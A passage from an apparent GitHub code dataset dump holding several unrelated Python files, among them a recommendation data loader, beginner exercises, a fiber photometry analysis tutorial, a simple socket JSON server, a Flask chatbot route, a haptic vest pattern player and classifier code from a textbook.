pad(input_user_up_index, config.PAD_idx, max_up_length)\n padded_input_pois.append(poi_id2index[input_poi_pid]) # add input to last dimension (padding + input)\n single_data['input_pois'] = padded_input_pois\n del single_data['src_Up']\n\n single_data['input_user_history'] = uaw_matrix[user_id2index[input_user_uid]].tolist()\n\n input_poi_words = []\n for w in single_data['src_Pw_seq']:\n input_poi_words.append(vocab.word2index[w] if w in vocab.word2index else config.UNK_idx)\n padded_input_poi_words = pad(input_poi_words, config.PAD_idx, max_pw_length)\n padded_input_poi_words[-1] = config.PAD_idx if padded_input_poi_words[-1] == config.PAD_idx else config.EOS_idx\n\n single_data['input_poi_words'] = padded_input_poi_words\n del single_data['src_Pw_seq']\n\n ugc_tags_label = [] # top_number * max_label_length\n for rank in single_data['src_label_tags']:\n if rank >= top_number:\n break\n aspect_tags = []\n for w in single_data['src_label_tags'][rank]:\n aspect_tags.append(vocab.word2index[w] if w in vocab.word2index else config.UNK_idx)\n padded_aspect_tags = pad(aspect_tags, config.PAD_idx, max_label_length)\n padded_aspect_tags[-1] = config.PAD_idx if padded_aspect_tags[-1] == config.PAD_idx else config.EOS_idx\n ugc_tags_label.append(padded_aspect_tags)\n while len(ugc_tags_label) < top_number: # EOS PAD PAD PAD PAD PAD\n ugc_tags_label.append([config.EOS_idx] + ([config.PAD_idx] * (max_label_length - 1)))\n single_data['output_ugc_label'] = ugc_tags_label\n del single_data['src_label_tags']\n\n single_data['output_rank_label'] = single_data['src_label_rank']\n del single_data['src_label_rank']\n\n # for behavior align update\n update_number = 24 # hyperparameter: 24\n behavior_user = torch.tensor(list(range(0, update_number)))\n behavior_user = ((behavior_user + count * update_number) % len(user_id2index)).tolist() # length: 25\n total_behavior_user = [user_id2index[input_user_uid] - 1] # behavior index-1\n total_behavior_user.extend(behavior_user)\n single_data['input_user_index'] = total_behavior_user\n count += 1\n\n # store pois corresponding to the user who should be taken out to calculate loss in UP matrix\n single_data['input_behavior_poi_index'] = behavior_samples_matrix[torch.tensor(total_behavior_user,\n dtype=torch.long)].tolist()\n single_data['input_behavior_labels'] = behavior_labels_matrix[torch.tensor(total_behavior_user,\n dtype=torch.long)].tolist()\n print_data_pair(data_pair)\n\n return data_pair, Matrixes, behavior_matrix\n\n\ndef save_dataset(para, data_pair, vocab, vector_dict, src_dict):\n\n user_history_aw_dict, poi_history_aw_dict, _, _, _ = src_dict\n _, embed_size, _, _ = [int(x) for x in para.gcn_size.strip().split(\",\")]\n\n click_limit, favor_limit, consume_limit = [int(x) for x in para.behavior_upper_limit.strip().split(\",\")]\n behavior_upper_limit = (click_limit, favor_limit, consume_limit)\n\n max_up_length, max_ua_length, max_uaw_length, max_pa_length, max_paw_length, \\\n max_pw_length, max_label_length = [int(x) for x in para.mini_data_range.strip().split(\",\")]\n\n mini_range = (max_up_length, max_ua_length, max_uaw_length, max_pa_length, max_paw_length, max_pw_length,\n max_label_length, para.pos_neg_sample, para.top_number)\n\n for single_data in data_pair:\n user_up = single_data['src_Up']\n if len(user_up) > max_up_length:\n user_up = user_up[len(user_up) - max_up_length:]\n single_data['src_Up'] = user_up\n\n print_data_ratio(data_pair, mini_range, user_history_aw_dict, poi_history_aw_dict)\n behavior_range = (behavior_upper_limit, embed_size)\n\n if para.shuffle:\n data_pair = sklearn.utils.shuffle(data_pair, random_state=para.seed)\n\n data_pair, Matrixes, behavior_matrix = pre_process(data_pair, vocab, src_dict, mini_range, behavior_range)\n\n D = (data_pair, vocab, vector_dict)\n M = (Matrixes, behavior_matrix)\n torch.save(D, os.path.join(para.data_dir, 'data.pkl'), pickle_protocol=4)\n torch.save(M, os.path.join(para.data_dir, 'matrix.pkl'), pickle_protocol=4)\n\n\ndef get_dataset(para):\n data_pair, vocab, vector_dict, src_dict = read_source_data(para)\n save_dataset(para, data_pair, vocab, vector_dict, src_dict)","repo_name":"MengxueZhao/POT","sub_path":"Utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":16049,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"3202217970","text":"\nsum_money = 0\nwhile True:\n money = input()\n if money == 'NoMoreMoney':\n print(f'Total: {sum_money:.2f}')\n break\n if float(money) < 0:\n print('Invalid operation!')\n print(f'Total: {sum_money:.2f}')\n break\n sum_money += float(money)\n print(f'Increase: {float(money):.2f}')\n","repo_name":"RadkaValkova/SoftUni-Web-Developer","sub_path":"Programming Basics Python/05 Loops Part 2/Account Balance.py","file_name":"Account Balance.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"39963978690","text":"r1 = int(input('Primeiro segmento: '))\nr2 = int(input('Segundo segmento: '))\nr3 = int(input('Terceiro segmento: '))\n\nif r1 < r2 + r3 and r2 < r1 + r3 and r3 < r1 + r2:\n print('O segmento acima PODE FORMAR um triangulo ', end='')\n if r1 == r2 == r3:\n print('EQUILATERO!')\n\n elif r1 != r2 != r3 != r1:\n print('ESCALENO!')\n\n else:\n print('ISÓCELES!')\n\nelse:\n print('O segmento acima NÃO PODE FORMAR um triangulo')","repo_name":"Matheus0605/Estudos-Python","sub_path":"ExerciciosPython_M2/Ex042.py","file_name":"Ex042.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"30047428118","text":"\"\"\"\n# Fiber Photometry Epoc Averaging\n\nThis example goes through fiber photometry analysis using techniques such as data smoothing, bleach detrending, and z-score analysis.\\\nThe epoch averaging was done using TDTfilter.\n\nAuthor Contributions:\\\nTDT, David Root, and the Morales Lab contributed to the writing and/or conceptualization of the code.\\\nThe signal processing pipeline was inspired by the workflow developed by David Barker et al. (2017) for the Morales Lab.\\\nThe data used in the example were provided by David Root.\n\nAuthor Information:\\\nDavid H. Root\\\nAssistant Professor\\\nDepartment of Psychology & Neuroscience\\\nUniversity of Colorado, Boulder\\\nLab Website: https://www.root-lab.org \\\ndavid.root@colorado.edu\n\nAbout the authors:\\\nThe Root lab and Morales lab investigate the neurobiology of reward, aversion, addiction, and depression.\n\nTDT edits all user submissions in coordination with the contributing author(s) prior to publishing.\n\"\"\"\n\n\"\"\" \n**Front Matter**\n\nImport the read_block function from the tdt package.\\\nAlso import other python packages we care about.\n\"\"\"\n\nimport numpy as np\nfrom sklearn.metrics import auc\nimport matplotlib.pyplot as plt # standard Python plotting library\nimport scipy.stats as stats\nimport matplotlib \nmatplotlib.rcParams['font.size'] = 16 # set font size for all plots\n\nfrom tdt import read_block, epoc_filter, download_demo_data\n\n\"\"\" \n**Importing the Data**\n\"\"\"\n\ndownload_demo_data()\nBLOCKPATH = 'data/FiPho-180416'\ndata = read_block(BLOCKPATH)\n\n\"\"\"\n**Setup the variables for the data you want to extract**\n\nWe will extract two different stream stores surrounding the 'PtAB' epoch event. We are interested in a specific event code for the shock onset.\n\nEvent store name. This holds behavioral codes that are read through ports A & B on the front of the RZ\n\"\"\"\n\nREF_EPOC = 'PtAB' \nSHOCK_CODE = [64959] # shock onset event code we are interested in\n\n\"\"\"\nMake some variables up here to so if they change in new recordings you won't have to change everything downstream\n\"\"\"\n\nISOS = '_4054' # 405nm channel. Formally STREAM_STORE1 in Matlab example\nGCaMP = '_4654' # 465nm channel. Formally STREAM_STORE2 in Matlab example\nTRANGE = [-10, 20] # window size [start time relative to epoc onset, window duration]\nBASELINE_PER = [-10, -6] # baseline period within our window\nARTIFACT = np.inf # optionally set an artifact rejection level\n\n\"\"\"\n**Use epoc_filter to extract data around our epoc event**\n\nUsing the `t` parameter extracts data only from the time range around our epoc event.\\\nUse the `values` parameter to specify allowed values of the `REF_EPOC` to extract.\\\nFor stream events, the chunks of data are stored in cell arrays structured as `data.streams[GCaMP].filtered`\n\"\"\"\ndata = epoc_filter(data, REF_EPOC, t=TRANGE, values=SHOCK_CODE)\n\n\"\"\"\n**Optionally remove artifacts**\n\nIf any waveform is above ARTIFACT level, or\nbelow -ARTIFACT level, remove it from the data set.\n\"\"\"\ntotal1 = np.size(data.streams[GCaMP].filtered)\ntotal2 = np.size(data.streams[ISOS].filtered)\n\n\"\"\"\nList comprehension checking if any single array in 2D filtered array is > Artifact or < -Artifact\n\"\"\"\n\ndata.streams[GCaMP].filtered = [x for x in data.streams[GCaMP].filtered \n if not np.any(x > ARTIFACT) or np.any(x < -ARTIFACT)]\ndata.streams[ISOS].filtered = [x for x in data.streams[ISOS].filtered \n if not np.any(x > ARTIFACT) or np.any(x < -ARTIFACT)]\n\n\"\"\"\nGet the total number of rejected arrays\n\"\"\"\n\nbad1 = total1 - np.size(data.streams[GCaMP].filtered)\nbad2 = total2 - np.size(data.streams[ISOS].filtered)\ntotal_artifacts = bad1 + bad2\n\n\"\"\"\nApplying a time filter to a uniformly sampled signal means that the length of each segment could vary by one sample. Let's find the minimum length so we can trim the excess off before calculating the mean.\n\"\"\"\n\n\"\"\"\nMore examples of list comprehensions\n\"\"\"\n\nmin1 = np.min([np.size(x) for x in data.streams[GCaMP].filtered])\nmin2 = np.min([np.size(x) for x in data.streams[ISOS].filtered])\ndata.streams[GCaMP].filtered = [x[1:min1] for x in data.streams[GCaMP].filtered]\ndata.streams[ISOS].filtered = [x[1:min2] for x in data.streams[ISOS].filtered]\n\n\"\"\"\nDownsample and average 10x via a moving window mean\n\"\"\"\n\nN = 10 # Average every 10 samples into 1 value\nF405 = []\nF465 = []\nfor lst in data.streams[ISOS].filtered: \n small_lst = []\n for i in range(0, min2, N):\n small_lst.append(np.mean(lst[i:i+N-1])) # This is the moving window mean\n F405.append(small_lst)\n\nfor lst in data.streams[GCaMP].filtered: \n small_lst = []\n for i in range(0, min1, N):\n small_lst.append(np.mean(lst[i:i+N-1]))\n F465.append(small_lst)\n\n\"\"\"\n**Create a mean signal, standard error of signal, and DC offset**\n\"\"\"\n\nmeanF405 = np.mean(F405, axis=0)\nstdF405 = np.std(F405, axis=0) / np.sqrt(len(data.streams[ISOS].filtered))\ndcF405 = np.mean(meanF405)\nmeanF465 = np.mean(F465, axis=0)\nstdF465 = np.std(F465, axis=0) / np.sqrt(len(data.streams[GCaMP].filtered))\ndcF465 = np.mean(meanF465)\n\n\"\"\"\n**Plot epoc averaged response**\n\nCreate the time vector for each stream store\n\"\"\"\n\nts1 = TRANGE[0] + np.linspace(1, len(meanF465), len(meanF465))/data.streams[GCaMP].fs*N\nts2 = TRANGE[0] + np.linspace(1, len(meanF405), len(meanF405))/data.streams[ISOS].fs*N\n\n\"\"\"\nSubtract DC offset to get signals on top of one another\n\"\"\"\n\nmeanF405 = meanF405 - dcF405\nmeanF465 = meanF465 - dcF465\n\n\"\"\"\nStart making a figure with 4 subplots.\\\nFirst plot is the 405 and 465 averaged signals\n\"\"\"\n\nfig = plt.figure(figsize=(9, 14))\nax0 = fig.add_subplot(411) # work with axes and not current plot (plt.)\n\n\"\"\"\nPlotting the traces\n\"\"\"\n\np1, = ax0.plot(ts1, meanF465, linewidth=2, color='green', label='GCaMP')\np2, = ax0.plot(ts2, meanF405, linewidth=2, color='blueviolet', label='ISOS')\n\n\"\"\"\nPlotting standard error bands\n\"\"\"\np3 = ax0.fill_between(ts1, meanF465+stdF465, meanF465-stdF465,\n facecolor='green', alpha=0.2)\np4 = ax0.fill_between(ts2, meanF405+stdF405, meanF405-stdF405,\n facecolor='blueviolet', alpha=0.2)\n\n\"\"\"\nPlotting a vertical line at t=0\n\"\"\"\n\np5 = ax0.axvline(x=0, linewidth=3, color='slategray', label='Shock Onset')\n\n\"\"\"\nFinish up the plot\n\"\"\"\nax0.set_xlabel('Seconds')\nax0.set_ylabel('mV')\nax0.set_title('Foot Shock Response, %i Trials (%i Artifacts Removed)'\n % (len(data.streams[GCaMP].filtered), total_artifacts))\nax0.legend(handles=[p1, p2, p5], loc='upper right')\nax0.set_ylim(min(np.min(meanF465-stdF465), np.min(meanF405-stdF405)),\n max(np.max(meanF465+stdF465), np.max(meanF405+stdF405)))\nax0.set_xlim(TRANGE[0], TRANGE[1]+TRANGE[0]);\n\n\"\"\"\n**Fitting 405 channel onto 465 channel to detrend signal bleaching**\n\nScale and fit data. Algorithm sourced from Tom Davidson's Github: [FP_normalize.m](https://github.com/tjd2002/tjd-shared-code/blob/master/matlab/photometry/FP_normalize.m)\n\"\"\"\n\nY_fit_all = []\nY_dF_all = []\nfor x, y in zip(F405, F465):\n x = np.array(x)\n y = np.array(y)\n bls = np.polyfit(x, y, 1)\n fit_line = np.multiply(bls[0], x) + bls[1]\n Y_fit_all.append(fit_line)\n Y_dF_all.append(y-fit_line)\n\n\"\"\"\nGetting the z-score and standard error\n\"\"\"\n\nzall = []\nfor dF in Y_dF_all: \n ind = np.where((np.array(ts2)BASELINE_PER[0]))\n zb = np.mean(dF[ind])\n zsd = np.std(dF[ind])\n zall.append((dF - zb)/zsd)\n \nzerror = np.std(zall, axis=0)/np.sqrt(np.size(zall, axis=0))\n\n\"\"\"\n**Heat Map based on z score of 405 fit subtracted 465**\n\"\"\"\n\nax1 = fig.add_subplot(412)\ncs = ax1.imshow(zall, cmap=plt.cm.Greys, interpolation='none', aspect=\"auto\",\n extent=[TRANGE[0], TRANGE[1]+TRANGE[0], 0, len(data.streams[GCaMP].filtered)])\ncbar = fig.colorbar(cs, pad=0.01, fraction=0.02)\n\nax1.set_title('Individual z-Score Traces')\nax1.set_ylabel('Trials')\nax1.set_xlabel('Seconds from Shock Onset')\n\n\"\"\"\n**Plot the z-score trace for the 465 with std error bands**\n\"\"\"\n\nax2 = fig.add_subplot(413)\np6 = ax2.plot(ts2, np.mean(zall, axis=0), linewidth=2, color='green', label='GCaMP')\np7 = ax2.fill_between(ts1, np.mean(zall, axis=0)+zerror\n ,np.mean(zall, axis=0)-zerror, facecolor='green', alpha=0.2)\np8 = ax2.axvline(x=0, linewidth=3, color='slategray', label='Shock Onset')\nax2.set_ylabel('z-Score')\nax2.set_xlabel('Seconds')\nax2.set_xlim(TRANGE[0], TRANGE[1]+TRANGE[0])\nax2.set_title('Foot Shock Response')\n\n\"\"\"\n**Quantify changes as an area under the curve for cue (-5 sec) vs shock (0 sec)**\n\"\"\"\n\ncue_ind = np.where((np.array(ts2)<-3) & (np.array(ts2)>-5))\nAUC_cue= auc(ts2[cue_ind], np.mean(zall, axis=0)[cue_ind])\nshock_ind = np.where((np.array(ts2)>0) & (np.array(ts2)<2))\nAUC_shock= auc(ts2[shock_ind], np.mean(zall, axis=0)[shock_ind])\nAUC = [AUC_cue, AUC_shock]\n\n\"\"\"\nRun a two-sample T-test\n\"\"\"\n\nt_stat,p_val = stats.ttest_ind(np.mean(zall, axis=0)[cue_ind],\n np.mean(zall, axis=0)[shock_ind], equal_var=False)\n\n\"\"\"\n**Make a bar plot**\n\"\"\"\n\nax3 = fig.add_subplot(414)\np9 = ax3.bar(np.arange(len(AUC)), AUC, color=[.8, .8, .8], align='center', alpha=0.5)\n\n\"\"\"\nStatistical annotation\n\"\"\"\n\nx1, x2 = 0, 1 # columns indices for labels\ny, h, col = max(AUC) + 2, 2, 'k'\nax3.plot([x1, x1, x2, x2], [y, y+h, y+h, y], lw=1.5, c=col)\np10 = ax3.text((x1+x2)*.5, y+h, \"*\", ha='center', va='bottom', color=col)\n\n\"\"\"\nFinish up the plot\n\"\"\"\n\nax3.set_ylim(0, y+2*h)\nax3.set_ylabel('AUC')\nax3.set_title('Cue vs Shock Response Changes')\nax3.set_xticks(np.arange(-1, len(AUC)+1))\nax3.set_xticklabels(['', 'Cue', 'Shock', ''])\n\nfig.tight_layout()\n\nplt.ion() #handout: exclude\nplt.show()\n\nimport handout # handout: exclude\nimport os # handout: exclude\nfname = os.path.basename(__file__).replace('.py','') # handout: exclude\ndoc = handout.Handout(fname) # handout: exclude\ndoc.add_figure(fig) # handout: exclude\ndoc.show() # handout: exclude\n\n#index_file = os.path.join(fname, 'index.html') # handout: exclude\n#os.system(\"start \" + index_file) # handout: exclude","repo_name":"tdtneuro/handouts","sub_path":"FibPhoEpocAveraging.py","file_name":"FibPhoEpocAveraging.py","file_ext":"py","file_size_in_byte":9961,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"9370974532","text":"import numpy as np\nimport pandas as pd\nfrom metrics import *\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\"\"\"\nMapping the predicted sequence to a tagging sequence\n\"\"\"\ndef mapping_tags(predict_sequence):\n tagging_seq = [ix_to_tag[t] for t in predict_sequence]\n return tagging_seq\n\n\"\"\"\nGet the predicted tags in length = step_length\n\"\"\"\ndef getPredictY(model, word_to_ix, step_length, test_sents):\n predict_tags = []\n for i in range(step_length):\n splitted_sents = test_sents[i]\n prepared_sents = prepare_sequence(splitted_sents, word_to_ix)\n predict_tagging_sequence = model(prepared_sents)[1]\n predict_tags.append(mapping_tags(predict_tagging_sequence))\n \n return predict_tags\n\n\"\"\"\nGet the true tags in length = step_length\n\"\"\"\ndef getTrueY(step_length, test_tags):\n true_tags = test_tags[0:step_length]\n return true_tags\n\n\"\"\"\nGet the sentence in length = step_length\n\"\"\"\ndef getSentInStep(step_length, test_sents):\n sents = test_data_sents[0:step_length]\n return sents\n\n\"\"\"\nGenerate the true predicates and predicted predicates (y_true and y_pred)\n\"\"\"\ndef compute_predMatch_pr(model, word_to_ix, step_length, test_sents, test_tags, ignoreStopwords, ignoreCase):\n predict_tags = getPredictY(model, word_to_ix, step_length, test_sents)\n true_tags = getTrueY(step_length, test_tags)\n sents = getSentInStep(step_length, test_sents)\n \n assert len(predict_tags) == len(true_tags) == len(sents)\n \n yp, yt = [], []\n for i in range(len(predict_tags)):\n if predMatch(true_tags[i], predict_tags[i], sents[i], ignoreStopwords, ignoreCase):\n getP, getT = getPredMatch(true_tags[i], predict_tags[i], sents[i], ignoreStopwords, ignoreCase)\n yp.append(getP)\n yt.append(getT)\n else:\n realT = getTruePredicate(true_tags[i], sents[i], ignoreStopwords, ignoreCase)\n yt.append(realT)\n yp.append(0)\n return yp, yt\n\n\"\"\"\nGenerate precisions and recalls\n\"\"\"\ndef generate_precision_recall_values(model, word_to_ix, step_length, test_data_sents, test_data_tags, ignoreStopwords, ignoreCase):\n\tprec_arr = []\n\trec_arr = []\n\ti = step_length\n\twhile i < len(test_data_sents):\n\t\typ, yt = compute_predMatch_pr(model, word_to_ix, i, test_data_sents, test_data_tags, ignoreStopwords = True, ignoreCase = True)\n\t\ttemp_report = metrics.classification_report(yt, yp, digits = 6)\n\t\tprec_arr.append(temp_report.strip().split('\\n')[-1].strip().split()[2])\n\t\trec_arr.append(temp_report.strip().split('\\n')[-1].strip().split()[3])\n\t\ti += step_length\n\n\tdf = pd.DataFrame({'precision': prec_arr, 'recall': rec_arr})\n\tdf.to_csv('BiLSTM-CRF.dat', index = False)\n\n\"\"\"\nPlot precision-recall curve (experiment result and baseline result)\n\"\"\"\ndef plot_pr_curve(exper_result, baseline):\n\tdf = pd.read_csv(exper_result)\n\trecall_ord = np.array(df['recall'].to_list())\n\tprecision_ord = np.array(df['precision'].to_list())\n\n\tprecision_gs = []\n\trecall_gs = []\n\tmetrics_gs = [i.strip().split() for i in open(baseline).readlines()]\n\tfor i in range(1, len(metrics_gs)):\n\t precision_gs.append(float(metrics_gs[i][0]))\n\t recall_gs.append(float(metrics_gs[i][1]))\n\n\tdf_gs = pd.DataFrame({'precision_rnnoie': precision_gs, 'recall_rnnoie': recall_gs})\n\tdf_gs.to_csv('baseline.dat', index = False)\n\tplt.plot(recall_ord, precision_ord, label = \"BiLSTM-CRF\")\n\tplt.plot(recall_gs, precision_gs, label = \"RNNOIE-AW (Stanovsky)\")\n\tplt.axis([0, 1, 0, 1])\n\tplt.title('Precision-Recall curve')\n\tplt.xlabel('Recall')\n\tplt.ylabel('Precision')\n\tplt.legend()\n\tplt.show()","repo_name":"tony520/supervised-BiLSTM-CRF-ore","sub_path":"evaluations/prplot.py","file_name":"prplot.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31547487794","text":"from socket import *\nimport json\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-a', '--addr', type=str, help=\"IP to listen\", default='')\nparser.add_argument('port', type=int, help=\"port to listen\", default=7777)\nargs = parser.parse_args()\n\nregistered_users = ['test']\n\n\ndef get_data():\n return json.loads(sock.recv(1024).decode(\"utf-8\"))\n\n\ndef handle_authenticate(request):\n name = request['user']['account_name']\n if request['user']['account_name'] in registered_users:\n if request['user'] == {'account_name': 'test', 'password': 'test1'}:\n return {'response': 200, 'description': 'Login success!'}\n\n return {'response': 402, 'error': 'User found! Wrong password'}\n\n return {'response': 200, 'description': f'Login as unregistered user with name {name}'}\n\n\ndef handle_presence(request):\n acc = request['user']['account_name']\n if request['user']['status'] == 'OK':\n print(f'Client {acc} is there.')\n return {'response': 202, 'description': f'Client {acc} is there.'}\n\n return {'response': 404}\n\n\ndef handle_msg(request):\n return {'response': 200, 'message': request['user']['msg'], 'from': request['user']['account_name']}\n\n\ndef handler(request):\n print(f'Client sent {request}')\n response = mapping[request['action']](request)\n print(f'Response: {response}')\n return response\n\n\nmapping = {\n 'authenticate': handle_authenticate,\n 'presence': handle_presence,\n 'msg': handle_msg\n}\n\nwith socket(AF_INET, SOCK_STREAM) as sock:\n sock.bind((args.addr, args.port))\n sock.listen(15)\n\n while True:\n conn, addr = sock.accept()\n\n with conn:\n print(f\"Получен запрос на соединение от {addr}\")\n data_b = conn.recv(1000000)\n print(data_b)\n data = json.loads(data_b, encoding='utf-8')\n response = handler(data)\n conn.send(json.dumps(response).encode('utf-8'))\n","repo_name":"kpoznyakov/py_lvl2_hw","sub_path":"lesson_03/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"45360145523","text":"from flask import Flask, render_template, request, jsonify\nfrom chat import get_response\nfrom flask_cors import CORS\n\napp =Flask(__name__)\nCORS(app) # This will enable CORS for all routes\n\n@app.route('/', methods=['GET', 'POST'])\ndef index_get():\n return render_template('base.html')\n\n@app.route('/predict', methods=['GET', 'POST'])\ndef predict():\n text = request.get_json().get('message')\n response = get_response(text)\n message = {\"answer\": response}\n return jsonify(message)\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5000)\n ","repo_name":"joao82/chatbot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74750500693","text":"class matchrow:\r\n def __init__(self,row,allnum=False):\r\n if allnum:\r\n self.data=[float(row[i]) for i in range(len(row)-1)]\r\n else:\r\n self.data=row[0:len(row)-1]\r\n self.match=int(row[len(row)-1])\r\n\r\ndef loadmatch(f,allnum=False):\r\n rows=[]\r\n for line in file(f):\r\n rows.append(matchrow(line.split(','),allnum))\r\n return rows\r\n \r\nfrom pylab import *\r\ndef plotagematches(rows):\r\n xdm,ydm=[r.data[0] for r in rows if r.match==1],\\\r\n [r.data[1] for r in rows if r.match==1]\r\n xdn,ydn=[r.data[0] for r in rows if r.match==0],\\\r\n [r.data[1] for r in rows if r.match==0] \r\n \r\n plot(xdm,ydm,'bo')\r\n plot(xdn,ydn,'b+')\r\n \r\n show()\r\n\r\ndef lineartrain(rows):\r\n averages={}\r\n counts={}\r\n \r\n for row in rows:\r\n # Get the class of this point\r\n cl=row.match\r\n \r\n averages.setdefault(cl,[0.0]*(len(row.data)))\r\n counts.setdefault(cl,0)\r\n \r\n # Add this point to the averages\r\n for i in range(len(row.data)):\r\n averages[cl][i]+=float(row.data[i])\r\n \r\n # Keep track of how many points in each class\r\n counts[cl]+=1\r\n \r\n # Divide sums by counts to get the averages\r\n for cl,avg in averages.items():\r\n for i in range(len(avg)):\r\n avg[i]/=counts[cl]\r\n \r\n return averages\r\n\r\ndef dotproduct(v1,v2):\r\n return sum([v1[i]*v2[i] for i in range(len(v1))])\r\n\r\ndef veclength(v):\r\n return sum([p**2 for p in v])\r\n\r\ndef dpclassify(point,avgs):\r\n b=(dotproduct(avgs[1],avgs[1])-dotproduct(avgs[0],avgs[0]))/2\r\n y=dotproduct(point,avgs[0])-dotproduct(point,avgs[1])+b\r\n if y>0: return 0\r\n else: return 1\r\n\r\ndef yesno(v):\r\n if v=='yes': return 1\r\n elif v=='no': return -1\r\n else: return 0\r\n \r\ndef matchcount(interest1,interest2):\r\n l1=interest1.split(':')\r\n l2=interest2.split(':')\r\n x=0\r\n for v in l1:\r\n if v in l2: x+=1\r\n return x\r\n\r\nyahookey=\"YOUR API KEY\"\r\nfrom xml.dom.minidom import parseString\r\nfrom urllib import urlopen,quote_plus\r\n\r\nloc_cache={}\r\ndef getlocation(address):\r\n if address in loc_cache: return loc_cache[address]\r\n data=urlopen('http://api.local.yahoo.com/MapsService/V1/'+\\\r\n 'geocode?appid=%s&location=%s' %\r\n (yahookey,quote_plus(address))).read()\r\n doc=parseString(data)\r\n lat=doc.getElementsByTagName('Latitude')[0].firstChild.nodeValue\r\n long=doc.getElementsByTagName('Longitude')[0].firstChild.nodeValue \r\n loc_cache[address]=(float(lat),float(long))\r\n return loc_cache[address]\r\n\r\ndef milesdistance(a1,a2):\r\n lat1,long1=getlocation(a1)\r\n lat2,long2=getlocation(a2)\r\n latdif=69.1*(lat2-lat1)\r\n longdif=53.0*(long2-long1)\r\n return (latdif**2+longdif**2)**.5\r\n\r\ndef loadnumerical():\r\n oldrows=loadmatch('matchmaker.csv')\r\n newrows=[]\r\n for row in oldrows:\r\n d=row.data\r\n data=[float(d[0]),yesno(d[1]),yesno(d[2]),\r\n float(d[5]),yesno(d[6]),yesno(d[7]),\r\n matchcount(d[3],d[8]),\r\n milesdistance(d[4],d[9]),\r\n row.match]\r\n newrows.append(matchrow(data))\r\n return newrows\r\n\r\ndef scaledata(rows):\r\n low=[999999999.0]*len(rows[0].data)\r\n high=[-999999999.0]*len(rows[0].data)\r\n # Find the lowest and highest values\r\n for row in rows:\r\n d=row.data\r\n for i in range(len(d)):\r\n if d[i]high[i]: high[i]=d[i]\r\n \r\n # Create a function that scales data\r\n def scaleinput(d):\r\n return [(d[i]-low[i])/(high[i]-low[i])\r\n for i in range(len(low))]\r\n \r\n # Scale all the data\r\n newrows=[matchrow(scaleinput(row.data)+[row.match])\r\n for row in rows]\r\n \r\n # Return the new data and the function\r\n return newrows,scaleinput\r\n\r\n\r\ndef rbf(v1,v2,gamma=10):\r\n dv=[v1[i]-v2[i] for i in range(len(v1))]\r\n l=veclength(dv)\r\n return math.e**(-gamma*l)\r\n\r\ndef nlclassify(point,rows,offset,gamma=10):\r\n sum0=0.0\r\n sum1=0.0\r\n count0=0\r\n count1=0\r\n \r\n for row in rows:\r\n if row.match==0:\r\n sum0+=rbf(point,row.data,gamma)\r\n count0+=1\r\n else:\r\n sum1+=rbf(point,row.data,gamma)\r\n count1+=1\r\n y=(1.0/count0)*sum0-(1.0/count1)*sum1+offset\r\n\r\n if y>0: return 0\r\n else: return 1\r\n\r\ndef getoffset(rows,gamma=10):\r\n l0=[]\r\n l1=[]\r\n for row in rows:\r\n if row.match==0: l0.append(row.data)\r\n else: l1.append(row.data)\r\n sum0=sum(sum([rbf(v1,v2,gamma) for v1 in l0]) for v2 in l0)\r\n sum1=sum(sum([rbf(v1,v2,gamma) for v1 in l1]) for v2 in l1)\r\n \r\n return (1.0/(len(l1)**2))*sum1-(1.0/(len(l0)**2))*sum0\r\n","repo_name":"xxg1413/MachineLearning","sub_path":"Programming Collective Intelligence/source_code/chapter9/advancedclassify.py","file_name":"advancedclassify.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":405,"dataset":"github-code","pt":"67"} +{"seq_id":"588078804","text":"import VibrationController\nimport VibrationPatterns\nimport json\nimport vest_device\nimport time\nimport atexit\n\ndef exit_handler():\n device.mute()\n \natexit.register(exit_handler)\n\n#device = vest_device.UsbVestDevice(\"/dev/ttyACM0\")\ndevice = vest_device.BleVestDevice(\"10:d0:7a:16:b8:d7\")\n#with open(\"vibration_patterns/catch_thief.json\") as json_file:\nwith open(\"vibration_patterns/heartbeat.json\") as json_file:\n clip = json.load(json_file)\nvest_controller = VibrationController.VestController(device)\nplayer = VibrationPatterns.VibrationPatternPlayer(vest_controller)\nplayer.play_clip(clip)\n#player.speed = 1.25\ndeltaTime = 0\ntime_prev_frame = time.time()\n\nwhile(True):\n current_time = time.time()\n deltaTime = current_time - time_prev_frame \n player.update(deltaTime)\n if player.is_playing == False:\n break\n time_prev_frame = current_time\n #print(deltaTime)\n time.sleep(0.016)","repo_name":"Suitceyes-Project/Keep-Your-Distance","sub_path":"vibration_pattern_example.py","file_name":"vibration_pattern_example.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41435949376","text":"from collections import defaultdict\nclass Solution:\n def topKFrequent(words, k: int):\n\n dicktionary = defaultdict(int)\n for i in words: dicktionary[i] += 1\n\n sorteddick = sorted(dicktionary.items(), key=lambda x: (-x[1], x[0]))\n\n return [i[0] for i in sorteddick][:k]\n\n\n print(topKFrequent([\"i\",\"love\",\"leetcode\",\"i\",\"love\",\"coding\"], k = 3))\n print(topKFrequent([\"i\",\"love\",\"leetcode\",\"i\",\"love\",\"coding\"], k = 2))\n print(topKFrequent([\"the\",\"day\",\"is\",\"sunny\",\"the\",\"the\",\"the\",\"sunny\",\"is\",\"is\"], k = 4))\n 